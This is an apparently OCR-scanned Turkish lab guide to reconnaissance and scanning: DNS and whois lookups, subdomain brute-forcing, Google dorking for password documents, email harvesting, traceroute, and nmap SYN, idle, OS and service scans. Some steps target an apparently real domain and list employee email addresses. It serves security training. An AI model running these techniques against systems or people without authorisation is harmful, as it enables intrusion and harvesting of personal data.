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1 - Bilgi Toplama
1.1: DNS ile hedef sistem hakkinda bilgi toplama

Amagc: DNS ile hedef sistemin ip adresini, mail sunucularini, isim sunucularini ve ip adresinde
bulunan domainleri 6grenmek.

Lab Senaryosu: Bir domainin ip adresi 6grenilir. Bu domaine ait mail sunucu ve isim sunucusu
ogrenilmeye calisilir. Daha sonra domaine ait olan ip'den ters dns sorgusu yapilip, o ip'de baska
domainler varsa 6grenilmeye caligilir.

Kullamilan isletim sistemi:

- Kali Linux

Kullanilan Araclar:

- Ping

- Dig

- Nslookup

Admlar:

1.Adim

Hedef domaine ping atilir ve ip adresi 6grenilir.
Komut: ping www.coslat.com

Ciktisi:

ping www.coslat.com
PING www.coslat.com (35.204.203.72) 56(84) bytes of data.
64 bytes from 72.203.204.35.in-addr.arpa. (35.204.203.72): icmp_seq=1 ttI=45 time=19.3 ms

2.Adim

Dig ve nslookup araglar1 kullanilarak, daha detayl bir sorgu yapilabilir. Bu araclar ile ismi nereden
cozdiigiiniliz, ne kadar siirede ¢6zdiigiiniiz gibi verilere ulagilabilir.

Komut: dig www.coslat.com

Cikusi:

dig www.coslat.com

;; ANSWER SECTION:

www.coslat.com. 2723 IN A 35.204.203.72
;; Query time: 56 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Tue Dec 01 09:25:29 EET 2019

;; MSG SIZE rcvd: 59



http://www.coslat.com/

3.Adim
Dig araci ile hedefin mail sunucusu 6grenilebilir.
Komut: dig mx coslat.com

Ciktisi:

dig mx coslat.com

;; ANSWER SECTION:

coslat.com. 15512 IN MX 10 mx.coslat.com.
;; Query time: 53 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Tue Dec 01 09:58:18 EET 2019

;; MSG SIZE rcvd: 58

4.Adim
Dig araci ile hedefin isim sunucusu 6grenilebilir.

Komut: dig ns coslat.com

Ciktisi:

dig ns coslat.com

;; ANSWER SECTION:

coslat.com. 21599 IN NS ns1.coslat.com.
;; Query time: 106 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Tue Dec 01 10:06:18 EET 2019

;; MSG SIZE rcvd: 66

5.Adim

Ters dns sorgusu ile bir ip tizerindeki domainler ve alt domainler bulunabilir.

Komut: dig -x 35.204.203.72

Cikusi:

dig -x 35.204.203.72

;; ANSWER SECTION:

72.203.204.35.in-addr.arpa. 1799 IN PTR coslat.com
72.203.204.35.in-addr.arpa. 1799 IN PTR bg-tek.net

;; Query time: 143 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Tue Dec 01 10:09:41 EET 2019
;; MSG SIZE rcvd: 1101




1.2: Bir domainin alt domainlerini bulma

Amag: Bir domaine ait alt domainleri bulmak

Lab Senaryosu: Olasi alt domain olabilecek isimlerle bir sozliik olusturulur. Bu sozliikteki

isimlerle alt domain aranir. Sézliik olusturmadan yazilimin iginde gelen varsayilan sozliikte
kullanilabilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamlan Araclar:

- dnsmap

Adimlar:

1.Adim

Sozliik olusturulmadan varsayilan sozliikle alt domain aranir.
Komut: dnsmap coslat.com

Ciktisi:

dnsmap coslat.com
admin.coslat.com

IP address #1: 35.204.203.72
bk.coslat.com

IP address #1: 35.204.203.72
blog.coslat.com

IP address #1: 35.204.203.72

2. Adim

Bir metin belgesine alt alta alt domain ismi olabilecek kelimeler yazilir. Daha sonra bu metin
belgesi dnsmap aracina verilir.

Komut:dnsmap coslat.com -w /root/Masaiistii/sozluk/altdomain.txt

Ciktisi:

dnsmap coslat.com -w /root/Masaiistii/sozluk/altdomain.txt
admin.aku.edu.tr

IP address #1: 35.204.203.72

test.aku.edu.tr

IP address #1: 35.204.203.72




1.3: Hedef sistemin IP adresinin sahibi hakkinda bilgi toplama

Amagc: Hedef sistemin IP araligini, kime kayith oldugunu, yoneticilerini, iletisim bilgilerini bulmak

Lab Senaryosu: Bir domaine sorgu yapilip domain hakkinda bilgiler alinir. Daha sonra ip adresine
sorgu yapilip, ip hakkinda bilgi alinir ve ip blogu 6grenilir.

Kullanilan isletim sistemi:
- Kali Linux

Kullanilan Araclar:

- whois

Adimlar:

1.Adim

Domaine sorgu yapilir. Bu sorgudan bu dominin kimin adina kayit oldugu, yoneticileri ve iletisim
bilgileri bulunabilir.

Komut: whois bg-tek.net

Ciktisi:

whois bg-tek.net

Domain Name: BG-TEK.NET

Registry Domain ID: 1646207046_DOMAIN_NET-VRSN

Registrar WHOIS Server: whois.godaddy.com

Registrar URL: http://www.godaddy.com

Update Date: 2015-04-26T09:11:05Z

Creation Date: 2011-03-18T23:12:43Z

Registrar Registration Expiration Date: 2018-03-18T23:12:43Z

Registrar: GoDaddy.com, LLC

Registrar IANA ID: 146

Registrar Abuse Contact Email: abuse@godaddy.com

Registrar Abuse Contact Phone: +1.4806242505

Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry

Registrant Name: Registration Private

Registrant Organization: Domains By Proxy, LLC

Registrant Street: DomainsByProxy.com

Registrant Street: 14747 N Northsight Blvd Suite 111, PMB 309

Registrant City: Scottsdale

Registrant State/Province: Arizona

Registrant Postal Code: 85260

Registrant Country: US

Registrant Phone: +1.4806242599

Registrant Phone Ext:




Registrant Fax: +1.4806242598

Registrant Fax Ext:

Registrant Email: BG-TEK.NET@domainsbyproxy.com
Registry Admin ID: Not Available From Registry

Admin Name: Registration Private

Admin Organization: Domains By Proxy, LLC

Admin Street: DomainsByProxy.com

Admin Street: 14747 N Northsight Blvd Suite 111, PMB 309
Admin City: Scottsdale

Admin State/Province: Arizona

Admin Postal Code: 85260

Admin Country: US

Admin Phone: +1.4806242599

Admin Phone Ext:

Admin Fax: +1.4806242598

Admin Fax Ext:

Admin Email: BG-TEK.NET@domainsbyproxy.com
Registry Tech ID: Not Available From Registry

Tech Name: Registration Private

Tech Organization: Domains By Proxy, LLC

Tech Street: DomainsByProxy.com

Tech Street: 14747 N Northsight Blvd Suite 111, PMB 309
Tech City: Scottsdale

Tech State/Province: Arizona

Tech Postal Code: 85260

Tech Country: US

Tech Phone: +1.4806242599

Tech Phone Ext:

Tech Fax: +1.4806242598

Tech Fax Ext:

Tech Email: BG-TEK.NET@domainsbyproxy.com

Name Server: NS69.DOMAINCONTROL.COM

Name Server: NS70.DOMAINCONTROL.COM

DNSSEC: unsigned

URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> | ast update of WHOIS database: 2016-10-04T13:00:00Z <<<

For more information on Whois status codes, please visit https://www.icann.org/resources/pages/epp-status-codes-
2014-06-16-en

2.Adim

Domaine ait ip adresine sorgulama yapilir. Bu sorgudan ip adresinin kime ait oldugu, ip aralig1 gibi
bilgilere ulasilabilir.

Komut: whois 35.204.203.72
Ciktisi:

whois 35.204.203.72
inetnum: 35.0.0.0 - 35.255.255.255
netname: Bg-tek




descr: Bg-tek - Bursa

country: TR

org: ORG-IBTY1-RIPE
admin-c: HID1-RIPE

tech-c: HID1-RIPE

status: ASSIGNED PA

created: 2011-01-26T14:10:40Z
last-modified: 2013-12-24T11:35:44Z
source: RIPE # Filtered
organisation: ORG-IBTY1-RIPE
org-type: OTHER

created: 2012-12-22T10:04:14Z
last-modified: 2014-01-11T11:09:49Z
source: RIPE # Filtered

org: ORG-IBTY1-RIPE
nic-hdl: HID1-RIPE
mnt-by: IXIRHOST-MNT

created: 2009-12-04T06:37:21Z
last-modified: 2015-01-10T15:38:38Z
source: RIPE # Filtered




1.4: Hedef sisteme giden yolu izleme

Amac: Hedef sisteme gonderilen paketlerin gittigi yolu izlemek

Lab Senaryosu: Hedef sisteme giden yol, udp, icmp ve tcp paketleri ile izlenir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- traceroute

Adimlar:

1.Adim

Hedef ip'ye gidilen yol izlenir. Bu adimda udp paketleri gonderilmektedir.

Komut: traceroute 35.204.203.72

Ciktis:

Do 2o © N O WN

-
N

15
16
43
17
57
18

21

traceroute 35.204.203.72

192.168.170.2 (192.168.170.2) 0.288 ms 0.202 ms 0.101 ms
192.168.10.254 (192.168.10.254) 0.568 ms 0.595 ms 0.577 ms
172.34.16.254 (172.34.16.254) 1.431 ms 1.383 ms 1.949 ms

* Kk %
* Kk Kk
* Kk Kk
* Kk *

host-213-14-57-125.reverse.superonline.net (213.14.57.125) 4.358 ms 4.208 ms 4.204 ms

172.29.128.81 (172.29.128.81) 5.839 ms 3.874 ms 4.572 ms

* k %

212.156.45.169.static.turktelekom.com.tr (212.156.45.169) 46.441 ms 44.370 ms 44.277 ms
195.175.171.196.34-acibadem-xrs-t2-2.34-kartal-t3-3.statik.turktelekom.com.tr (195.175.171.196) 43.897 ms

.821 ms 43.018 ms

81.212.212.253.00-gayrettepe-xrs-t2-2.34-acibadem-xrs-t2-2.statik.turktelekom.com.tr (81.212.212.253) 57.248 ms

308 ms 57.211 ms

195.175.174.192.00-metrocity-t3-1.00-gayrettepe-xrs-t2-2.statik.turktelekom.com.tr (195.175.174.192) 41.697 ms

42.327 ms 43.139 ms
19 88.255.15.66.dynamic.ttnet.com.tr (88.255.15.66) 47.989 ms 47.792 ms 47.679 ms

20 * %k K

* %k K

22 72.203.204.35.in-addr.arpa. (35.204.203.72) 43.431 ms 42.902 ms 42.732 ms




2.Adim

Herhangi bir atlama noktasinda UDP paketleri engellenmis olabilir. Bunun icin ICMP paketleri

gonderilir.
Komut: traceroute -I 35.204.203.72
Ciktis:

traceroute -1 35.204.203.72

1 192.168.170.2 (192.168.170.2) 0.338 ms 0.253 ms 0.098 ms
192.168.10.254 (192.168.10.254) 0.491 ms 0.436 ms 0.385 ms
172.34.16.254 (172.34.16.254) 1.010 ms 1.122 ms 1.306 ms

* Kk Kk
* Kk Kk
* Kk *

* Kk *

o N o 0o WODN

host-213-14-57-125.reverse.superonline.net (213.14.57.125) 4.483 ms 4.639 ms 4.416 ms

g ***

10 172.29.128.81 (172.29.128.81) 5.939 ms 6.428 ms 5.303 ms

19 ***

12 host-82-222-13-145.reverse.superonline.net (82.222.13.145) 6.552 ms 6.507 ms 8.200 ms

13 ***

14 ***

15 212.156.45.169.static.turktelekom.com.tr (212.156.45.169) 45.642 ms 45.631 ms 45.575 ms

16 195.175.171.196.34-acibadem-xrs-t2-2.34-kartal-t3-3.statik.turktelekom.com.tr (195.175.171.196) 45.491 ms
45.425 ms 43.323 ms

17 ***

18 195.175.174.192.00-metrocity-t3-1.00-gayrettepe-xrs-t2-2.statik.turktelekom.com.tr (195.175.174.192) 42.014 ms
42.428 ms 42.314 ms

19 88.255.15.66.dynamic.ttnet.com.tr (88.255.15.66) 50.537 ms 49.966 ms 46.539 ms

20 ***

21 *xx

22 72.203.204.35.in-addr.arpa. (35.204.203.72) 45.315 ms 45.221 ms 45.134 ms

3.Adim

Herhangi bir atlama noktasinda ICMP ve UDP paketleri engellenmis olabilir. Bunun i¢in TCP
paketleri gonderilir.

Komut: traceroute -T 35.204.203.72
Ciktis:

traceroute -T 35.204.203.72

1 192.168.170.2 (192.168.170.2) 0.338 ms 0.253 ms 0.098 ms
192.168.10.254 0.339 ms 0.223 ms 0.488 ms
172.34.16.254 1.184 ms 0.543 ms 1.023 ms

* Kk Kk
* Kk Kk
* Kk *

* Kk *

72.203.204.35.in-addr.arpa. (72.203.204.35.in-addr.arpa. (35.204.203.72) ) 3.710 ms 3.048 ms 3.492 ms

o N o 0o WODN




g **+
10 172.29.128.81 14.220 ms 4.381 ms 4.583 ms

19 %%

10 *

13 *x

14 ***

15 212.156.45.169.static.turktelekom.com.tr (212.156.45.169) 45.215 ms 44.021 ms 43.246 ms

16 195.175.171.196.34-acibadem-xrs-t2-2.34-kartal-t3-3.statik.turktelekom.com.tr (195.175.171.196) 43.507 ms
45.762 ms 43.479 ms

17 81.212.212.253.00-gayrettepe-xrs-t2-2.34-acibadem-xrs-t2-2.statik.turktelekom.com.tr (81.212.212.253) 43.942 ms
18 195.175.174.192.00-metrocity-t3-1.00-gayrettepe-xrs-t2-2.statik.turktelekom.com.tr (195.175.174.192) 41.214 ms
40.780 ms 43.894 ms

19 88.255.15.66.dynamic.ttnet.com.tr (88.255.15.66) 46.379 ms 46.038 ms 46.284 ms

20 ***

21 *xx

22 72.203.204.35.in-addr.arpa. (35.204.203.72) [open] 41.240 ms 56.470 ms 58.469 ms




1.5: E-posta bashgindan bilgi toplama

Amag: Gelen bir e-postanin bagligindan bilgi toplamak

Lab Senaryosu: Domainde olmayan bir kullaniciya e-posta atilir. Mail sunucudan bir cevap gelirse,

cevaptaki e-posta baghgi incelenir. Eger mail sunucu cevap vermezse, iceriden herhangi bir
kullanicidan mail cevabi alinmaya ¢aligilir.

Ornek E-posta bashg::

Delivered-To: tolga.kizilkaya@coslat.com --> mailin alicisi

Return-Path: <harun.seker@coslat.com> --> maili génderen

Received: from ****.coslat.com --> mail sunucusu

X-Originating-IP: [***.*** ** **] --> gbénderenin ip adresi



mailto:harun.seker@coslat.com
mailto:harun.seker@coslat.com
mailto:tolga.kizilkaya@coslat.com

1.6: Arama motorlarindan bilgi toplama

Amac: Arama motorlarini kullanarak hedef sistem hakkinda bilgi toplamak

Lab Senaryosu: Cesitli arama methodlariyla, arama motorlarindan bilgiler toplanir.
Kullamilan Araclar:

- Google

Adimlar:

1.Adim

Urlde ve bir dokiiman igerisinde gegen kelimelere gore arama yapilir. Ornek olarak url’de
coslat.com gecen siteler icerisinde “parola” gecen pdf dokiimanlarim bulalim.

Komut: inurl:*coslat.com filetype:pdf “parola”

2. Adim

Belirli kriterlere gore hazirlanmis sorgular icin: https://www.exploit-db.com/google-hacking-
database adresine bakilabilir.


https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/google-hacking-database

1.7: E-posta adresi toplamak

Amac: Hedefe ait e-posta hesaplarimi toplamak

Lab Senaryosu: Hedef domaine ait e-posta hesaplar toplanir.
Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- theharvester

Adimlar:

1.Adim

Theharvester arac1 yardimiyla e-posta adresleri toplanabilir. -d parametresi ile domain belirtilir. -b
parametresi ile ise aramanin kaynag belirtilir.

Komut: theharvester -d coslat.com -b google

Ciktsi:

theharvester -d coslat.com -b google
[+] Emails found:

info@coslat.com

kamil.burlu@coslat.com
tolga.kizilkaya@coslat.com

harun.seker@coslat.com



mailto:tolga.kizilkaya@coslat.com

2 - Tarama
2.1: Ping Taramasi ile Aktif Sistemleri Tespit etme
Amac: ICMP paketleri gondererek aktif hostlar1 bulmak

Lab Senaryosu: Tek bir istemciye yada bir networke icmp paketleri gonderilir, cevap dénenler
aktif kabul edilir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows7

Kullanilan Araclar:

- angry ip scanner

- nmap

Adimlar:

1. Adim

Windows 7 igerisinde masaiistiinde araglar klasoriinde bulunan ipscanner araci ¢aligtirilir.
Komut:

Programa bir ip yada ip aralig girilir.

Ciktis1: Mavi olarak goziiken hostlar aktif olanlardur.

&5 aralig - Angry IP Scanner EI@

Tara Git Komutlar Favoriler  Araclar  Yardim

IP arahigr  192.168.170.1 git 192.168.170.254 IP araligi v &
Host adi: ® 1P| Metmask ﬂ

1P Ping Hostname Ports [0+] g
9192.168.1?0.1 0ms tolgalocal [n/s] £
©192.168.170.2 0ms [nfa] [n/s]
@ 192.168.170.3 [n/a] [n/s] [n/z]
@ 192.168.1704 [n/a] [n/s] [n/s]
@ 192.168.170.5 [n/a] [n/'s] [n/s]
©192.168.1706 [n/a] [n/s] [n/s]
@ 192.168.1707 [n/a] [n/s] [n/z]
@ 192.168.1705 [n/a] [n/s] [n/s]
@ 192168.1709 [n/a] [n/s] [n/s]
©192.168.170.10 [n/a] [n/s] [n/s]
@ 192.168.170.11 [nfa] [n/s] [n/s]
@ 192.168.170.12 [n/a] [n/s] [n/s]
©192.168.170.13 [n/a] [n/s] [n/s]
@ 192.168.170.14 [n/a] [n/'s] [n/s]
©192.168.170.15 [nfa] [n/s] [n/s]
@ 192.168.170.16 [n/a] [n/s] [n/s]
@ 192.168.170.17 [n/a] [n/s] [n/s]
©192.168.170.18 [n/a] [n/'s] [n/s]
©192.168.170.19 [nfa] [n/s] [n/s] =

Hazir Display: Hepsi Threads: 0




2. Adim

Kali linux iizerindeki nmap araciylada ping taramasi yapilabilir.
Komut: nmap -sn 192.168.170.0/24

Ciktisi:

nmap -sh 192.168.170.0/24

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-09 14:43 EET
Nmap scan report for 192.168.170.1

Host is up (0.00026s latency).

MAC Address: 01:20:36:C1:00:08 (VMware)
Nmap scan report for 192.168.170.2

Host is up (0.00026s latency).

MAC Address: 00:51:36:AF:82:1D (VMware)
Nmap scan report for 192.168.170.150

Host is up (0.00054s latency).

MAC Address: 01:1C:29:8A:3A:16 (VMware)
Nmap scan report for 192.168.170.254

Host is up (0.00024s latency).

MAC Address: 01:30:26:17:18:00 (VMware)
Nmap scan report for 192.168.170.234

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.83 seconds




2.2: Port Tarama

Amagc: Hedef sistemin acik portlarini, igletim sistemini, portlarda ¢alisan servisleri bulmak

Lab Senaryosu: Sistemin acik portlari gesitli paketler gonderilerek belirlenir. Daha sonra hedef
sistemin isletim sistemi ve portlarda calisan servisler tespit edilmeye caligilir.

Kullanilan isletim sistemi:
- Kali Linux

Kullamilan Araclar:

- nmap

- Zzenmap

Adimlar:

1.Adim

Connect scan methoduyla, TCP 3 yollu el sikisma tamamlanarak portlara baglanti yapilmaya
calisilir. Baglant1 yapilan portlar agik kabul edilir.

Komut: nmap -sT 192.168.170.145
Ciktisi:

nmap -sT 192.168.170.145

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-10 10:41 EET
Nmap scan report for 192.168.170.145
Host is up (0.00077s latency).

Not shown: 981 closed ports

PORT STATE SERVICE

53/tcp open domain

80/tcp open http

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open Idap

445/tcp open microsoft-ds

464/tcp open kpasswdb5

593/tcp open http-rpc-epmap

636/tcp open Idapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssI

3389/tcp open ms-wbt-server

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49156/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

MAC Address: 01:11:29:AE:18:69 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds




2.Adim

Syn taramasiyla, hedef porta bir syn bayrag1 gonderilir. SYN/ACK yanit1 donerse port acik kabul
edilir. Baglantiy1 kapatmak icin RST/ACK paketi gonderilir.

Komut: nmap -sS 192.168.170.145
Ciktisi:

nmap -sS 192.168.170.145

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-10 11:16 EET
Nmap scan report for 192.168.170.145

Host is up (0.00063s latency).

Not shown: 981 closed ports

PORT STATE SERVICE

53/tcp open domain

80/tcp open http

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open Idap

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open Idapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssI

3389/tcp open ms-wbt-server

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49156/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

MAC Address: 11:3C:19:4E:18:49 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

3.Adim

Hedef sisteme zombi sistemden geliyormus gibi kaynak adresi degistirilmis SYN istekleri
gonderilir. Zombi makinenin RST cevaplarindaki IP ID alanlar takip edilerek agik portlar tespit
edilmeye calisilir.

Komut: nmap -sI Zombi:Port Hedef
nmap -sI 192.168.170.150:80 192.168.170.145
Ciktsi:

‘nmap -sl 192.168.170.150:80 192.168.170.145




Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-22 11:49 EET
Idle scan using zombie 192.168.170.150 (192.168.170.150:80); Class: Incremental
Nmap scan report for 192.168.170.145

Host is up (0.051s latency).

Not shown: 981 closed(filtered ports

PORT  STATE SERVICE

53/tcp open domain

80/tcp open http

88/tcp open kerberos-sec

139/tcp open netbios-ssn

389/tcp open Idap

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open Idapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssI

3389/tcp open ms-wbt-server

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

49163/tcp open unknown

MAC Address: 10:1C:39:1E:88:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds

4.Adim

Hedef sistemin isletim sistemi belirlenmeye caligilir.
Komut: nmap -O 192.168.170.145

Ciktisi:

nmap -0 192.168.170.145

Running: Microsoft Windows 7|2008|8.1

OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1
cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1

OS details: Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

4.Adim
Hedef sistemide calisan servisler ve versiyonlar: belirlenmeye calisilir.
Komut: nmap -sV 192.168.170.145

Ciktis:



nmap -sV 192.168.170.145

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-22 13:17 EET
Nmap scan report for 192.168.170.145

Host is up (0.00039s latency).

Not shown: 980 closed ports

PORT STATE SERVICE VERSION

53/tcp open domain Microsoft DNS 6.0.6001

80/tcp open http Microsoft IS httpd 7.0

88/tcp open kerberos-sec Windows 2003 Kerberos (server time: 2015-12-22 11:17:582)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn

389/tcp open Idap

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open Idap

3269/tcp open tcpwrapped

3389/tcp open ssl/ms-wbt-server?

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49163/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:1C:29:4E:28:69 (VMware)

Service Info: OSs: Windows, Windows 98; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003, cpe:/
o:microsoft:windows_98

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 69.40 seconds

5.Adim

Gelismis tarama: igletim sistemi tahmini, versiyon tespiti, bilgi icin bazi scriptler, trace gibi
taramalarin hepsi birden yapilir.

Komut: nmap -A 192.168.170.145
Ciktis:

nmap -A 192.168.170.145

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-22 13:32 EET
Nmap scan report for 192.168.170.145

Host is up (0.00033s latency).

Not shown: 980 closed ports

PORT  STATE SERVICE VERSION

53/tcp open domain Microsoft DNS 6.0.6001
| dns-nsid:

|_ bind.version: Microsoft DNS 6.0.6001 (17714650)
80/tcp open http Microsoft IIS httpd 7.0

| http-methods:




|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-11S/7.0

|_http-title: Site doesn't have a title.

88/tcp open kerberos-sec Windows 2003 Kerberos (server time: 2015-12-22 11:32:402)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn

389/tcp open Idap

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open Idap

3269/tcp open tcpwrapped

3389/tcp open ssl/ms-wbt-server?

| ssl-cert: Subject: commonName=hackmeserver.testlab.local

| Not valid before: 2015-11-18T08:16:25

|_Not valid after: 2016-05-19T08:16:25

|_ssl-date: 2015-12-22T11:33:37+00:00; Os from scanner time.

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49163/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:0C:29:4E:28:69 (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2008|8.1

OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1
cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1

OS details: Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1, Windows 8, or Windows 8.1 Update 1

Network Distance: 1 hop

Service Info: OSs: Windows, Windows 98; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003, cpe:/

o:microsoft:windows_98

Host script results:

| ms-sql-info:

| \W192.168.170.145\pipe\MSSQL$SQLEXPRESS\sql\query:

| Version:

| Product: Microsoft SQL Server 2008

| number: 10.00.2531.00

| Post-SP patches applied: false

| Service pack level: SP1

| name: Microsoft SQL Server 2008 SP1

|- Named pipe: \\192.168.170.145\pipe\MSSQL$SQLEXPRESS\sqgl\query

|_nbstat: NetBIOS name: HACKMESERVER, NetBIOS user: <unknown>, NetBIOS MAC: 11:0c:39:41:58:69 (VMware)
| smb-os-discovery:

| OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard 6.0)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1

| Computer name: hackmeserver

| NetBIOS computer name: HACKMESERVER




| Domain name: testlab.local

| Forest name: testlab.local

| FQDN: hackmeserver.testlab.local

|_ System time: 2015-12-22T713:33:37+02:00
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: required
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE

HOP RTT ADDRESS

1 0.33ms 192.168.170.145

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.48 seconds

6.Adim

Nmap taramasinin ¢iktisi alinabilir. Normal ¢ikt1 icin oN, xml ¢iktis1 i¢in ise 0X parametresi
kullanilabilir.

Komut: nmap -sS 192.168.170.145 -oN /root/Masatistii/nmapcikti
Ciktsi:

nmapecikti
1 # Nmap 7.00 scan initiated Tue Dec 22 15:43:14 2015 as: nmap -sS -oN /root/Masalsti/nmapcikti 192.168.170.145
2 Mmap scan report for 192.168.170.145
3 Host is up (0.00020s latency).
4 Not shown: 980 closed ports
5 PORT STATE SERVICE
6 53/tcp open domain
7 80/tcp open http
8 88/tcp open kerberos-sec
9 135/tcp  open msrpc
10 139/tcp  open netbios-ssn
11 389/tcp open ldap
12 445/tcp  open microsoft-ds
13 454/tcp  open kpasswdS
14 593/tcp  open http-rpc-epmap
15 636/tcp  open ldapssl
16 3268/tcp open globalcatLDAP
17 3269/tcp open globalcatLDAPssl
18 3389/tcp open ms-wbt-server
19 48152/tcp open unknown
20 49153/tcp open unknown
21 49154/tcp open unknown
22 48155/tcp open unknown
23 49157 /tcp open  unknown
24 49158/tcp open unknown
25 49163/tcp open unknown
26 MAC Address: 00:0C:29:4E:28:69 (VMware)

28 # Nmap done at Tue Dec 22 15:43:15 2015 -- 1 IP address (1 host up) scanned in 1.72 seconds

7.Adim
Grafiksel arabirimle taramalar i¢in zenmap araci kullanilabilir.

Komut: zenmap



2.3: Network kesfi

Amagc: Networkteki cihazlar kesfetme

Lab Senaryosu: Networkteki cihazlarin ip ve mac adresleri belirli araliklarla 6grenilir.
Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- fing

Adimlar:

1.Adim

Fing arac1 kullanilarak, networkteki ip adresleri ve mac adresleri belirlenir.

Komut: fing

Ciktis:

fing
16:43:44 > Discovery profile: Default discovery profile
16:43:44 > Discovery class: data-link (data-link layer)
16:43:44 > Discovery on:  192.168.170.0/24
16:43:44 > Discovery round starting.
16:43:44 > Host is up: 192.168.170.234

HW Address: 22:11:29:61:33:01 (VMware)
16:43:44 > Host is up:  192.168.170.1

HW Address: 10:41:56:CD:11:08 (VMware)
16:43:44 > Host is up: 192.168.170.2

HW Address: 21:41:16:FA:81:12 (VMware)
16:43:45 > Discovery progress 25%
16:43:45 > Host is up:  192.168.170.145

HW Address: 22:1A:11:AA:11:69 (VMware)
16:43:45 > Host is up: 192.168.170.150

HW Address: 11:1C:19:1A:3A:16 (VMware)
16:43:46 > Host is up:  192.168.170.254

HW Address: 11:52:51:FA:1B:44 (VMware)
16:43:47 > Discovery progress 50%
16:43:47 > Discovery progress 75%

| State | Host | MAC Address | Last change |
I I

| UP ]192.168.170.1 | 11:52:51:FA:1B:41 | |
| UP |192.168.170.2 | 11:52:51:FA:1B:42 | |
| UP ]192.168.170.145 | 11:52:51:FA:1B:43 | |
| UP ]192.168.170.150 | 11:52:51:FA:1B:44| |
